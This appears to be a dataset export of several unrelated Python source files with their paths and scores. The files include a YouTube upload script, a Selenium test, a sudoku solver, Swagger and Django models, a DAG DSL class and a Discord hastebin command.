upload_yt_videos.py <video_list.xlsx> <video_root_path> [--no-update]
"""
arguments = docopt(USAGE)
video_db = excel_db.open(arguments["<video_list.xlsx>"])
video_table = video_db.get_table("Sheet1")
video_root_path = arguments["<video_root_path>"]
update_descriptions = not arguments["--no-update"]
def upload_video(video, title, description, auth):
print("Uploading\ntitle = {}\nauthors = {}\nvideo = {}".format(title, authors, video))
upload_response = auth.youtube.videos().insert(
part="id,status,snippet",
body = {
"snippet": {
"title": title,
"description": description,
"categoryId": 27 # Category 27 is "education"
},
"status": {
"privacyStatus": "public",
"selfDeclaredMadeForKids": False,
"embeddable": True
}
},
media_body=MediaFileUpload(video)
).execute()
return upload_response
def update_video(video_id, title, description, auth):
print("Updating\ntitle = {}\nauthors = {}\nvideo = {}".format(title, authors, video_id))
upload_response = auth.youtube.videos().update(
part="id,snippet,status",
body = {
"id": video_id,
"snippet": {
"title": title,
"description": description,
"categoryId": 27 # Category 27 is "education"
}
}
).execute()
return upload_response
def get_all_playlists(auth):
all_playlists = []
while True:
playlists = auth.youtube.playlists().list(
part="snippet,contentDetails",
maxResults=50,
mine=True
).execute()
all_playlists += playlists["items"]
if "nextPageToken" not in playlists:
break
return all_playlists
def get_playlist_items(auth, playlist_id):
all_items = []
while True:
items = auth.youtube.playlistItems().list(
part="id,snippet,status",
maxResults=50,
playlistId=playlist_id
).execute()
all_items += items["items"]
if "nextPageToken" not in items:
break
return all_items
if not "Youtube Video" in video_table.index or not "Youtube Playlist" in video_table.index:
index = [None] * len(video_table.index)
for k, v in video_table.index.items():
index[v - 1] = k
if not "Youtube Video" in video_table.index:
index.append("Youtube Video")
if not "Youtube Playlist" in video_table.index:
index.append("Youtube Playlist")
video_table.set_index(index)
# Validate the input sheet
all_files_found = True
for r in range(2, video_table.table.max_row + 1):
video_info = video_table.row(r)
# If there's no video, or it was already uploaded, skip verifying the file
# exists because we don't need it
if not video_info["Title"].value or video_info["Youtube Video"].value:
continue
video = os.path.join(video_root_path, video_info["Video File"].value)
if not os.path.isfile(video):
all_files_found = False
print("Video {} was not found".format(video))
subtitles = video_info["Subtitles File"].value
if subtitles:
subtitles = os.path.join(video_root_path, video_info["Subtitles File"].value)
if not os.path.isfile(subtitles):
all_files_found = False
print("Subtitles {} were not found".format(subtitles))
if not all_files_found:
print("Some files were not found, please correct the sheet and re-run")
sys.exit(1)
auth = conf_auth.Authentication(youtube=True, use_pickled_credentials=True)
playlists = {}
yt_playlists = get_all_playlists(auth)
current_playlists = {}
for pl in yt_playlists:
title = pl["snippet"]["title"]
current_playlists[title] = {
"id": pl["id"],
"videos": []
}
items = get_playlist_items(auth, pl["id"])
for i in items:
current_playlists[title]["videos"].append(i["snippet"]["resourceId"]["videoId"])
for r in range(2, video_table.table.max_row + 1):
video_info = video_table.row(r)
if not video_info["Title"].value:
continue
title = schedule.make_youtube_title(video_info["Title"].value)
authors = video_info["Authors"].value.replace("|", ", ")
description = "Authors: " + authors
if video_info["Abstract/Description"].value:
description += "\n" + video_info["Abstract/Description"].value
# Make sure description text content is valid for Youtube
description = schedule.make_youtube_description(description)
# Upload the video
video_id = None
if not video_info["Youtube Video"].value:
video = os.path.join(video_root_path, video_info["Video File"].value)
try:
upload_response = upload_video(video, title, description, auth)
print(upload_response)
video_info["Youtube Video"].value = "https://youtu.be/" + upload_response["id"]
video_id = upload_response["id"]
except Exception as e:
print("Failed to upload {}: {}".format(video, e))
print("Stopping uploading")
break
continue
subtitles = video_info["Subtitles File"].value
# Upload the subtitles
if subtitles:
try:
subtitles = os.path.join(video_root_path, video_info["Subtitles File"].value)
subtitles_response = auth.youtube.captions().insert(
part="id,snippet",
body={
"snippet": {
"videoId": upload_response["id"],
"language": "en-us",
"name": video_info["Subtitles File"].value
}
},
media_body=MediaFileUpload(subtitles)
).execute()
print(subtitles_response)
except Exception as e:
print("Failed to upload {}: {}".format(subtitles, e))
else:
video_id = schedule.match_youtube_id(video_info["Youtube Video"].value)
if update_descriptions:
update_response = update_video(video_id, title, description, auth)
print(update_response)
if video_id:
if video_info["Playlist Title"].value and not video_info["Youtube Playlist"].value:
playlist_title = schedule.make_youtube_title(video_info["Playlist Title"].value)
if not playlist_title in playlists:
playlists[playlist_title] = []
if not video_id in playlists[playlist_title]:
playlists[playlist_title].append(video_id)
else:
print("Video already in playlist")
else:
print("Video {} was not uploaded".format(title))
video_db.save(arguments["<video_list.xlsx>"])
print("----")
video_db.save(arguments["<video_list.xlsx>"])
# Create new playlists we need and add videos to the playlists
print(playlists)
for pl, videos in playlists.items():
# Create new playlists if needed
if pl not in current_playlists:
resp = auth.youtube.playlists().insert(
part="id,status,snippet",
body={
"snippet": {
"title": pl
},
"status": {
"privacyStatus": "public"
}
}).execute()
current_playlists[pl] = {
"id": resp["id"],
"videos": []
}
for v in videos:
if v not in current_playlists[pl]["videos"]:
resp = auth.youtube.playlistItems().insert(
part="id,status,snippet",
body={
"snippet": {
"playlistId": current_playlists[pl]["id"],
"resourceId": {
"kind": "youtube#video",
"videoId": v
}
}
}).execute()
r = video_table.find("Youtube Video", "https://youtu.be/" + v)
video_table.entry(r[0], "Youtube Playlist").value = "https://www.youtube.com/playlist?list={}".format(current_playlists[pl]["id"])
video_db.save(arguments["<video_list.xlsx>"])
video_db.save(arguments["<video_list.xlsx>"]) | 0.135518 | 0.111193 |
import time
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from webdriver_manager.chrome import ChromeDriverManager
from data import *
class TestCreateAndDeleteArticle(object):
def setup(self):
browser_options = Options()
browser_options.headless = True
self.driver = webdriver.Chrome(ChromeDriverManager().install(), options=browser_options)
self.driver.get(URL)
self.driver.maximize_window()
conduit_login(self.driver)
def teardown(self):
time.sleep(0.5)
self.driver.quit()
# Test No.10: Creating new article and saving title and body into separate file
def test_create_new_article_and_save_it(self):
self.driver.implicitly_wait(5)
self.driver.find_element_by_xpath("//a[@href='#/editor']").click()
self.driver.implicitly_wait(2)
self.driver.find_element_by_xpath("//input[@placeholder='Article Title']").send_keys("My birds")
self.driver.find_element_by_xpath('//*[@id="app"]/div/div/div/div/form/fieldset/fieldset[2]/input').send_keys("Birds")
self.driver.find_element_by_xpath("//textarea[@placeholder='Write your article (in markdown)']").send_keys(article_text)
self.driver.find_element_by_xpath("//input[@placeholder='Enter tags']").send_keys("<PASSWORD>ds")
self.driver.find_element_by_xpath("//button[normalize-space()='Publish Article']").click()
self.driver.implicitly_wait(2)
assert self.driver.find_element_by_xpath('//*[@id="app"]/div/div[2]/div[1]/div/div[1]/p').text == article_text
my_text_file = open('article_title_and_body.txt', 'w')
title_to_be_saved = self.driver.find_element_by_xpath("/html/body/div[1]/div/div[1]/div/h1").text
body_to_be_saved = self.driver.find_element_by_xpath('//*[@id="app"]/div/div[2]/div[1]/div/div[1]/p').text
my_text_file.writelines("Title: " + title_to_be_saved + "; " + "Body: " + body_to_be_saved)
my_text_file.close()
self.driver.find_element_by_xpath("//button[@class='btn btn-outline-danger btn-sm']//span[1]").click() | test/test_10_creating_article_and_saving_title_and_body.py | import time
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from webdriver_manager.chrome import ChromeDriverManager
from data import *
class TestCreateAndDeleteArticle(object):
def setup(self):
browser_options = Options()
browser_options.headless = True
self.driver = webdriver.Chrome(ChromeDriverManager().install(), options=browser_options)
self.driver.get(URL)
self.driver.maximize_window()
conduit_login(self.driver)
def teardown(self):
time.sleep(0.5)
self.driver.quit()
# Test No.10: Creating new article and saving title and body into separate file
def test_create_new_article_and_save_it(self):
self.driver.implicitly_wait(5)
self.driver.find_element_by_xpath("//a[@href='#/editor']").click()
self.driver.implicitly_wait(2)
self.driver.find_element_by_xpath("//input[@placeholder='Article Title']").send_keys("My birds")
self.driver.find_element_by_xpath('//*[@id="app"]/div/div/div/div/form/fieldset/fieldset[2]/input').send_keys("Birds")
self.driver.find_element_by_xpath("//textarea[@placeholder='Write your article (in markdown)']").send_keys(article_text)
self.driver.find_element_by_xpath("//input[@placeholder='Enter tags']").send_keys("<PASSWORD>ds")
self.driver.find_element_by_xpath("//button[normalize-space()='Publish Article']").click()
self.driver.implicitly_wait(2)
assert self.driver.find_element_by_xpath('//*[@id="app"]/div/div[2]/div[1]/div/div[1]/p').text == article_text
my_text_file = open('article_title_and_body.txt', 'w')
title_to_be_saved = self.driver.find_element_by_xpath("/html/body/div[1]/div/div[1]/div/h1").text
body_to_be_saved = self.driver.find_element_by_xpath('//*[@id="app"]/div/div[2]/div[1]/div/div[1]/p').text
my_text_file.writelines("Title: " + title_to_be_saved + "; " + "Body: " + body_to_be_saved)
my_text_file.close()
self.driver.find_element_by_xpath("//button[@class='btn btn-outline-danger btn-sm']//span[1]").click() | 0.105239 | 0.059537 |
__author__ = '<NAME>'
"""
This program takes in a sudoku and solves it ,here 0 means not set so add numbers write them down
"""
'''trying the empty board '''
def moves(board, row, column):
"""
used set to i
:param board:
:param row:
:param column:
:return:list -> list of legal moves that the computer can choose from
"""
all_taken = set([x for x in board[row]])
for x in range(len(board)):
all_taken.add(board[x][column])
first_row = (row // 3) * 3
first_column = (column // 3) * 3
for x in range(first_row, first_row + 3):
for y in range(first_column, first_column + 3):
all_taken.add(board[x][y])
red_moves = set([x for x in range(1, 10)])
available_moves = red_moves.difference(all_taken)
return available_moves
def display(board):
for x in board:
print(x)
def flatten_count(board, i):
li = [y for x in board for y in x]
return li.count(i)
def make_move(board, move, x, y, no):
board[x][y] = move
no -= 1
return no
def undo_move(board, x, y, no_avail):
board[x][y] = 0
no_avail += 1
return no_avail
def _solve(board, no_avail, a):
if no_avail <= 0:
return True
for x in range(a, len(board)):
for y in range(len(board)):
if board[x][y] == 0:
t = moves(board, x, y)
if len(t) == 0:
return False
for move in t:
no_avail = make_move(board, move, x, y, no_avail)
if _solve(board, no_avail, x):
return True
no_avail = undo_move(board, x, y, no_avail)
return False
def solve_game(board):
"""
the main method from where the running starts
:param board:
:return:
"""
import time
t = time.time()
no_available = flatten_count(board, 0)
_solve(board, no_available, 0)
for z in board:
for a in z:
print(a,end="")
print()
print()
import time
t = time.time()
No_of_boards = int(input())
for x in range(No_of_boards):
input()
board = [list(map(int,input())) for x in range(9)]
solve_game(board)
print(time.time()-t) | sudoku_solver/Sudoku_test.py | __author__ = '<NAME>'
"""
This program takes in a sudoku and solves it ,here 0 means not set so add numbers write them down
"""
'''trying the empty board '''
def moves(board, row, column):
"""
used set to i
:param board:
:param row:
:param column:
:return:list -> list of legal moves that the computer can choose from
"""
all_taken = set([x for x in board[row]])
for x in range(len(board)):
all_taken.add(board[x][column])
first_row = (row // 3) * 3
first_column = (column // 3) * 3
for x in range(first_row, first_row + 3):
for y in range(first_column, first_column + 3):
all_taken.add(board[x][y])
red_moves = set([x for x in range(1, 10)])
available_moves = red_moves.difference(all_taken)
return available_moves
def display(board):
for x in board:
print(x)
def flatten_count(board, i):
li = [y for x in board for y in x]
return li.count(i)
def make_move(board, move, x, y, no):
board[x][y] = move
no -= 1
return no
def undo_move(board, x, y, no_avail):
board[x][y] = 0
no_avail += 1
return no_avail
def _solve(board, no_avail, a):
if no_avail <= 0:
return True
for x in range(a, len(board)):
for y in range(len(board)):
if board[x][y] == 0:
t = moves(board, x, y)
if len(t) == 0:
return False
for move in t:
no_avail = make_move(board, move, x, y, no_avail)
if _solve(board, no_avail, x):
return True
no_avail = undo_move(board, x, y, no_avail)
return False
def solve_game(board):
"""
the main method from where the running starts
:param board:
:return:
"""
import time
t = time.time()
no_available = flatten_count(board, 0)
_solve(board, no_available, 0)
for z in board:
for a in z:
print(a,end="")
print()
print()
import time
t = time.time()
No_of_boards = int(input())
for x in range(No_of_boards):
input()
board = [list(map(int,input())) for x in range(9)]
solve_game(board)
print(time.time()-t) | 0.374562 | 0.462352 |
import pprint
import re # noqa: F401
import six
class S3ObjectListItem(object):
"""NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
"""
"""
Attributes:
swagger_types (dict): The key is attribute name
and the value is attribute type.
attribute_map (dict): The key is attribute name
and the value is json key in definition.
"""
swagger_types = {
"key": "str",
"last_modified": "datetime",
"e_tag": "str",
"size": "float",
"storage_class": "str",
"owner": "S3ObjectListItemOwner",
}
attribute_map = {
"key": "Key",
"last_modified": "LastModified",
"e_tag": "ETag",
"size": "Size",
"storage_class": "StorageClass",
"owner": "Owner",
}
def __init__(
self,
key=None,
last_modified=None,
e_tag=None,
size=None,
storage_class=None,
owner=None,
): # noqa: E501
"""S3ObjectListItem - a model defined in Swagger""" # noqa: E501
self._key = None
self._last_modified = None
self._e_tag = None
self._size = None
self._storage_class = None
self._owner = None
self.discriminator = None
if key is not None:
self.key = key
if last_modified is not None:
self.last_modified = last_modified
if e_tag is not None:
self.e_tag = e_tag
if size is not None:
self.size = size
if storage_class is not None:
self.storage_class = storage_class
if owner is not None:
self.owner = owner
@property
def key(self):
"""Gets the key of this S3ObjectListItem. # noqa: E501
:return: The key of this S3ObjectListItem. # noqa: E501
:rtype: str
"""
return self._key
@key.setter
def key(self, key):
"""Sets the key of this S3ObjectListItem.
:param key: The key of this S3ObjectListItem. # noqa: E501
:type: str
"""
self._key = key
@property
def last_modified(self):
"""Gets the last_modified of this S3ObjectListItem. # noqa: E501
:return: The last_modified of this S3ObjectListItem. # noqa: E501
:rtype: datetime
"""
return self._last_modified
@last_modified.setter
def last_modified(self, last_modified):
"""Sets the last_modified of this S3ObjectListItem.
:param last_modified: The last_modified of this S3ObjectListItem. # noqa: E501
:type: datetime
"""
self._last_modified = last_modified
@property
def e_tag(self):
"""Gets the e_tag of this S3ObjectListItem. # noqa: E501
:return: The e_tag of this S3ObjectListItem. # noqa: E501
:rtype: str
"""
return self._e_tag
@e_tag.setter
def e_tag(self, e_tag):
"""Sets the e_tag of this S3ObjectListItem.
:param e_tag: The e_tag of this S3ObjectListItem. # noqa: E501
:type: str
"""
self._e_tag = e_tag
@property
def size(self):
"""Gets the size of this S3ObjectListItem. # noqa: E501
:return: The size of this S3ObjectListItem. # noqa: E501
:rtype: float
"""
return self._size
@size.setter
def size(self, size):
"""Sets the size of this S3ObjectListItem.
:param size: The size of this S3ObjectListItem. # noqa: E501
:type: float
"""
self._size = size
@property
def storage_class(self):
"""Gets the storage_class of this S3ObjectListItem. # noqa: E501
:return: The storage_class of this S3ObjectListItem. # noqa: E501
:rtype: str
"""
return self._storage_class
@storage_class.setter
def storage_class(self, storage_class):
"""Sets the storage_class of this S3ObjectListItem.
:param storage_class: The storage_class of this S3ObjectListItem. # noqa: E501
:type: str
"""
self._storage_class = storage_class
@property
def owner(self):
"""Gets the owner of this S3ObjectListItem. # noqa: E501
:return: The owner of this S3ObjectListItem. # noqa: E501
:rtype: S3ObjectListItemOwner
"""
return self._owner
@owner.setter
def owner(self, owner):
"""Sets the owner of this S3ObjectListItem.
:param owner: The owner of this S3ObjectListItem. # noqa: E501
:type: S3ObjectListItemOwner
"""
self._owner = owner
def to_dict(self):
"""Returns the model properties as a dict"""
result = {}
for attr, _ in six.iteritems(self.swagger_types):
value = getattr(self, attr)
if isinstance(value, list):
result[attr] = list(
map(lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value)
)
elif hasattr(value, "to_dict"):
result[attr] = value.to_dict()
elif isinstance(value, dict):
result[attr] = dict(
map(
lambda item: (item[0], item[1].to_dict())
if hasattr(item[1], "to_dict")
else item,
value.items(),
)
)
else:
result[attr] = value
if issubclass(S3ObjectListItem, dict):
for key, value in self.items():
result[key] = value
return result
def to_str(self):
"""Returns the string representation of the model"""
return pprint.pformat(self.to_dict())
def __repr__(self):
"""For `print` and `pprint`"""
return self.to_str()
def __eq__(self, other):
"""Returns true if both objects are equal"""
if not isinstance(other, S3ObjectListItem):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other):
"""Returns true if both objects are not equal"""
return not self == other | syntropy_sdk/models/s3_object_list_item.py | import pprint
import re # noqa: F401
import six
class S3ObjectListItem(object):
"""NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
"""
"""
Attributes:
swagger_types (dict): The key is attribute name
and the value is attribute type.
attribute_map (dict): The key is attribute name
and the value is json key in definition.
"""
swagger_types = {
"key": "str",
"last_modified": "datetime",
"e_tag": "str",
"size": "float",
"storage_class": "str",
"owner": "S3ObjectListItemOwner",
}
attribute_map = {
"key": "Key",
"last_modified": "LastModified",
"e_tag": "ETag",
"size": "Size",
"storage_class": "StorageClass",
"owner": "Owner",
}
def __init__(
self,
key=None,
last_modified=None,
e_tag=None,
size=None,
storage_class=None,
owner=None,
): # noqa: E501
"""S3ObjectListItem - a model defined in Swagger""" # noqa: E501
self._key = None
self._last_modified = None
self._e_tag = None
self._size = None
self._storage_class = None
self._owner = None
self.discriminator = None
if key is not None:
self.key = key
if last_modified is not None:
self.last_modified = last_modified
if e_tag is not None:
self.e_tag = e_tag
if size is not None:
self.size = size
if storage_class is not None:
self.storage_class = storage_class
if owner is not None:
self.owner = owner
@property
def key(self):
"""Gets the key of this S3ObjectListItem. # noqa: E501
:return: The key of this S3ObjectListItem. # noqa: E501
:rtype: str
"""
return self._key
@key.setter
def key(self, key):
"""Sets the key of this S3ObjectListItem.
:param key: The key of this S3ObjectListItem. # noqa: E501
:type: str
"""
self._key = key
@property
def last_modified(self):
"""Gets the last_modified of this S3ObjectListItem. # noqa: E501
:return: The last_modified of this S3ObjectListItem. # noqa: E501
:rtype: datetime
"""
return self._last_modified
@last_modified.setter
def last_modified(self, last_modified):
"""Sets the last_modified of this S3ObjectListItem.
:param last_modified: The last_modified of this S3ObjectListItem. # noqa: E501
:type: datetime
"""
self._last_modified = last_modified
@property
def e_tag(self):
"""Gets the e_tag of this S3ObjectListItem. # noqa: E501
:return: The e_tag of this S3ObjectListItem. # noqa: E501
:rtype: str
"""
return self._e_tag
@e_tag.setter
def e_tag(self, e_tag):
"""Sets the e_tag of this S3ObjectListItem.
:param e_tag: The e_tag of this S3ObjectListItem. # noqa: E501
:type: str
"""
self._e_tag = e_tag
@property
def size(self):
"""Gets the size of this S3ObjectListItem. # noqa: E501
:return: The size of this S3ObjectListItem. # noqa: E501
:rtype: float
"""
return self._size
@size.setter
def size(self, size):
"""Sets the size of this S3ObjectListItem.
:param size: The size of this S3ObjectListItem. # noqa: E501
:type: float
"""
self._size = size
@property
def storage_class(self):
"""Gets the storage_class of this S3ObjectListItem. # noqa: E501
:return: The storage_class of this S3ObjectListItem. # noqa: E501
:rtype: str
"""
return self._storage_class
@storage_class.setter
def storage_class(self, storage_class):
"""Sets the storage_class of this S3ObjectListItem.
:param storage_class: The storage_class of this S3ObjectListItem. # noqa: E501
:type: str
"""
self._storage_class = storage_class
@property
def owner(self):
"""Gets the owner of this S3ObjectListItem. # noqa: E501
:return: The owner of this S3ObjectListItem. # noqa: E501
:rtype: S3ObjectListItemOwner
"""
return self._owner
@owner.setter
def owner(self, owner):
"""Sets the owner of this S3ObjectListItem.
:param owner: The owner of this S3ObjectListItem. # noqa: E501
:type: S3ObjectListItemOwner
"""
self._owner = owner
def to_dict(self):
"""Returns the model properties as a dict"""
result = {}
for attr, _ in six.iteritems(self.swagger_types):
value = getattr(self, attr)
if isinstance(value, list):
result[attr] = list(
map(lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value)
)
elif hasattr(value, "to_dict"):
result[attr] = value.to_dict()
elif isinstance(value, dict):
result[attr] = dict(
map(
lambda item: (item[0], item[1].to_dict())
if hasattr(item[1], "to_dict")
else item,
value.items(),
)
)
else:
result[attr] = value
if issubclass(S3ObjectListItem, dict):
for key, value in self.items():
result[key] = value
return result
def to_str(self):
"""Returns the string representation of the model"""
return pprint.pformat(self.to_dict())
def __repr__(self):
"""For `print` and `pprint`"""
return self.to_str()
def __eq__(self, other):
"""Returns true if both objects are equal"""
if not isinstance(other, S3ObjectListItem):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other):
"""Returns true if both objects are not equal"""
return not self == other | 0.653569 | 0.188679 |
import uuid
from django.db import models
from django.conf import settings
# Create your models here.
class Board(models.Model):
name = models.CharField(max_length=50)
super_admin = models.ForeignKey(settings.AUTH_USER_MODEL, on_delete=models.DO_NOTHING, null=True)
user_list = models.ManyToManyField(settings.AUTH_USER_MODEL, related_name="user_boards", through="User_Board") # 보드를 생성/관리하는 메인 관리자
max_tab_index = models.IntegerField(default=0)
session_id = models.CharField(max_length=50, default=uuid.uuid4, unique=True)
class User_Board(models.Model):
user_pk = models.ForeignKey(settings.AUTH_USER_MODEL, on_delete=models.DO_NOTHING)
board_pk = models.ForeignKey(Board, on_delete=models.CASCADE)
joined_date = models.DateTimeField(auto_now_add=True)
is_admin = models.BooleanField()
class Type(models.Model):
name = models.CharField(max_length=20)
class Tab(models.Model):
board_pk = models.ForeignKey(Board, on_delete=models.CASCADE)
tab_index = models.IntegerField(default=0)
name = models.CharField(max_length=50)
max_note_index = models.IntegerField(default=0)
max_tm_index = models.IntegerField(default=0)
class Note(models.Model):
user_pk = models.ForeignKey(settings.AUTH_USER_MODEL, on_delete=models.DO_NOTHING)
board_pk = models.ForeignKey(Board, on_delete=models.CASCADE)
tab_pk = models.ForeignKey(Tab, on_delete=models.CASCADE)
type_pk = models.ForeignKey(Type, on_delete=models.DO_NOTHING)
note_index = models.IntegerField(default=0)
x = models.IntegerField()
y = models.IntegerField()
z = models.IntegerField()
width = models.IntegerField()
height = models.IntegerField()
content = models.TextField()
color = models.CharField(max_length=10, default="f8f1ba")
lock = models.BooleanField(default=False)
class History(models.Model):
user_pk = models.ForeignKey(settings.AUTH_USER_MODEL, on_delete=models.DO_NOTHING)
board_id = models.IntegerField() # If you have a chance to reset all database, change this to board_pk with ForeignKey.
tab_index = models.IntegerField()
note_index = models.IntegerField()
x = models.IntegerField()
y = models.IntegerField()
z = models.IntegerField()
width = models.IntegerField()
height = models.IntegerField()
type_index = models.IntegerField(default=1)
content = models.TextField()
color = models.CharField(max_length=10, default="f8f1ba")
date = models.DateTimeField(auto_now_add=True)
activate = models.BooleanField(default=True)
class Capsule(models.Model):
user_pk = models.ForeignKey(settings.AUTH_USER_MODEL, on_delete=models.CASCADE)
x = models.IntegerField()
y = models.IntegerField()
z = models.IntegerField()
width = models.IntegerField()
height = models.IntegerField()
type_index = models.IntegerField()
content = models.TextField()
color = models.CharField(max_length=10, default="f8f1ba")
class Time_Machine(models.Model):
board_pk = models.ForeignKey(Board, on_delete=models.CASCADE) # Unlike History Table, All TimeMachines should be eliminated when Table is Deleted
tab_index = models.IntegerField()
tm_index = models.IntegerField()
capsule_list = models.ManyToManyField(Capsule, related_name="time_machine")
created_at = models.DateTimeField(auto_now_add=True) | Backend/board/models.py | import uuid
from django.db import models
from django.conf import settings
# Create your models here.
class Board(models.Model):
name = models.CharField(max_length=50)
super_admin = models.ForeignKey(settings.AUTH_USER_MODEL, on_delete=models.DO_NOTHING, null=True)
user_list = models.ManyToManyField(settings.AUTH_USER_MODEL, related_name="user_boards", through="User_Board") # 보드를 생성/관리하는 메인 관리자
max_tab_index = models.IntegerField(default=0)
session_id = models.CharField(max_length=50, default=uuid.uuid4, unique=True)
class User_Board(models.Model):
user_pk = models.ForeignKey(settings.AUTH_USER_MODEL, on_delete=models.DO_NOTHING)
board_pk = models.ForeignKey(Board, on_delete=models.CASCADE)
joined_date = models.DateTimeField(auto_now_add=True)
is_admin = models.BooleanField()
class Type(models.Model):
name = models.CharField(max_length=20)
class Tab(models.Model):
board_pk = models.ForeignKey(Board, on_delete=models.CASCADE)
tab_index = models.IntegerField(default=0)
name = models.CharField(max_length=50)
max_note_index = models.IntegerField(default=0)
max_tm_index = models.IntegerField(default=0)
class Note(models.Model):
user_pk = models.ForeignKey(settings.AUTH_USER_MODEL, on_delete=models.DO_NOTHING)
board_pk = models.ForeignKey(Board, on_delete=models.CASCADE)
tab_pk = models.ForeignKey(Tab, on_delete=models.CASCADE)
type_pk = models.ForeignKey(Type, on_delete=models.DO_NOTHING)
note_index = models.IntegerField(default=0)
x = models.IntegerField()
y = models.IntegerField()
z = models.IntegerField()
width = models.IntegerField()
height = models.IntegerField()
content = models.TextField()
color = models.CharField(max_length=10, default="f8f1ba")
lock = models.BooleanField(default=False)
class History(models.Model):
user_pk = models.ForeignKey(settings.AUTH_USER_MODEL, on_delete=models.DO_NOTHING)
board_id = models.IntegerField() # If you have a chance to reset all database, change this to board_pk with ForeignKey.
tab_index = models.IntegerField()
note_index = models.IntegerField()
x = models.IntegerField()
y = models.IntegerField()
z = models.IntegerField()
width = models.IntegerField()
height = models.IntegerField()
type_index = models.IntegerField(default=1)
content = models.TextField()
color = models.CharField(max_length=10, default="f8f1ba")
date = models.DateTimeField(auto_now_add=True)
activate = models.BooleanField(default=True)
class Capsule(models.Model):
user_pk = models.ForeignKey(settings.AUTH_USER_MODEL, on_delete=models.CASCADE)
x = models.IntegerField()
y = models.IntegerField()
z = models.IntegerField()
width = models.IntegerField()
height = models.IntegerField()
type_index = models.IntegerField()
content = models.TextField()
color = models.CharField(max_length=10, default="f8f1ba")
class Time_Machine(models.Model):
board_pk = models.ForeignKey(Board, on_delete=models.CASCADE) # Unlike History Table, All TimeMachines should be eliminated when Table is Deleted
tab_index = models.IntegerField()
tm_index = models.IntegerField()
capsule_list = models.ManyToManyField(Capsule, related_name="time_machine")
created_at = models.DateTimeField(auto_now_add=True) | 0.466359 | 0.15925 |
from typing import Iterator
from dagger.dsl.node_output_reference import NodeOutputReference
from dagger.serializer import Serializer
class NodeOutputPartitionUsage:
"""
Represents the usage of a partition from a node output.
An instance of this class is returned whenever an output reference is iterated over.
```
@dsl.task()
def f() -> dict:
return [1, 2, 3]
@dsl.task()
def g(n: int):
print(n)
@dsl.DAG()
def dag():
numbers = f()
for n in numbers:
g(n)
```
In the previous example, `numbers` will be an instance of NodeOutputUsage, but `n` will be an instance of NodeOutputPartitionUsage, wrapping the NodeOutputUsage instance.
"""
def __init__(
self,
wrapped_reference: NodeOutputReference,
):
self._wrapped_reference = wrapped_reference
@property
def invocation_id(self) -> str:
"""Return the invocation id of this reference."""
return self._wrapped_reference.invocation_id
@property
def output_name(self) -> str:
"""Return the output name of this reference."""
return self._wrapped_reference.output_name
@property
def serializer(self) -> Serializer:
"""Return the serializer assigned to this output."""
return self._wrapped_reference.serializer
@property
def is_partitioned(self) -> bool:
"""Return true if the output is partitioned. This happens whenever the output reference is iterated upon."""
return True
@property
def references_node_partition(self) -> bool:
"""Return true if the output comes from a partitioned node.."""
return self._wrapped_reference.references_node_partition
@property
def wrapped_reference(self) -> NodeOutputReference:
"""Return the node output reference wrapped by the partition."""
return self._wrapped_reference
def consume(self):
"""Mark this output as consumed by another node."""
self._wrapped_reference.consume()
def __iter__(self) -> Iterator:
"""Return an Iterator over the partitions of this output."""
raise ValueError(
"When defining DAGs through the DSL, you can iterate over the output of a node, if the output of that node is supposed to be partitioned. However, you may not iterate over one of the partitions of that output."
)
def __repr__(self) -> str:
"""Get a human-readable string representation of this instance."""
return f"NodeOutputPartitionUsage(wrapped_reference={self._wrapped_reference})"
def __eq__(self, obj) -> bool:
"""Return true if both objects are equivalent."""
return (
isinstance(obj, NodeOutputPartitionUsage)
and self._wrapped_reference == obj._wrapped_reference
) | dagger/dsl/node_output_partition_usage.py | from typing import Iterator
from dagger.dsl.node_output_reference import NodeOutputReference
from dagger.serializer import Serializer
class NodeOutputPartitionUsage:
"""
Represents the usage of a partition from a node output.
An instance of this class is returned whenever an output reference is iterated over.
```
@dsl.task()
def f() -> dict:
return [1, 2, 3]
@dsl.task()
def g(n: int):
print(n)
@dsl.DAG()
def dag():
numbers = f()
for n in numbers:
g(n)
```
In the previous example, `numbers` will be an instance of NodeOutputUsage, but `n` will be an instance of NodeOutputPartitionUsage, wrapping the NodeOutputUsage instance.
"""
def __init__(
self,
wrapped_reference: NodeOutputReference,
):
self._wrapped_reference = wrapped_reference
@property
def invocation_id(self) -> str:
"""Return the invocation id of this reference."""
return self._wrapped_reference.invocation_id
@property
def output_name(self) -> str:
"""Return the output name of this reference."""
return self._wrapped_reference.output_name
@property
def serializer(self) -> Serializer:
"""Return the serializer assigned to this output."""
return self._wrapped_reference.serializer
@property
def is_partitioned(self) -> bool:
"""Return true if the output is partitioned. This happens whenever the output reference is iterated upon."""
return True
@property
def references_node_partition(self) -> bool:
"""Return true if the output comes from a partitioned node.."""
return self._wrapped_reference.references_node_partition
@property
def wrapped_reference(self) -> NodeOutputReference:
"""Return the node output reference wrapped by the partition."""
return self._wrapped_reference
def consume(self):
"""Mark this output as consumed by another node."""
self._wrapped_reference.consume()
def __iter__(self) -> Iterator:
"""Return an Iterator over the partitions of this output."""
raise ValueError(
"When defining DAGs through the DSL, you can iterate over the output of a node, if the output of that node is supposed to be partitioned. However, you may not iterate over one of the partitions of that output."
)
def __repr__(self) -> str:
"""Get a human-readable string representation of this instance."""
return f"NodeOutputPartitionUsage(wrapped_reference={self._wrapped_reference})"
def __eq__(self, obj) -> bool:
"""Return true if both objects are equivalent."""
return (
isinstance(obj, NodeOutputPartitionUsage)
and self._wrapped_reference == obj._wrapped_reference
) | 0.947648 | 0.763484 |
import discord
import asyncio
from discord.ext import commands
import aiohttp
class Default(object):
"""Стандартные команды."""
def __init__(self, bot):
self.bot = bot
async def _hastebin_post(self, text):
async with aiohttp.ClientSession() as session:
async with session.post("https://hastebin.com/documents", data=text.encode('utf-8')) as post:
post = await post.json()
return "https://hastebin.com/{}".format(post['key'])
@commands.command(name='hastebin', description='Опубликовать код на HASTEBIN.')
@commands.guild_only()
async def hastebin(self, ctx, *, code:str=None):
"""Опубликовать код на HASTEBIN."""
if not code:
await ctx.send(embed=discord.Embed(
timestamp=ctx.message.created_at,
color=0xFF0000).set_footer(
text='Что публиковать-то?\nВы, сударь, не написали текст после команды.'),
delete_after=10)
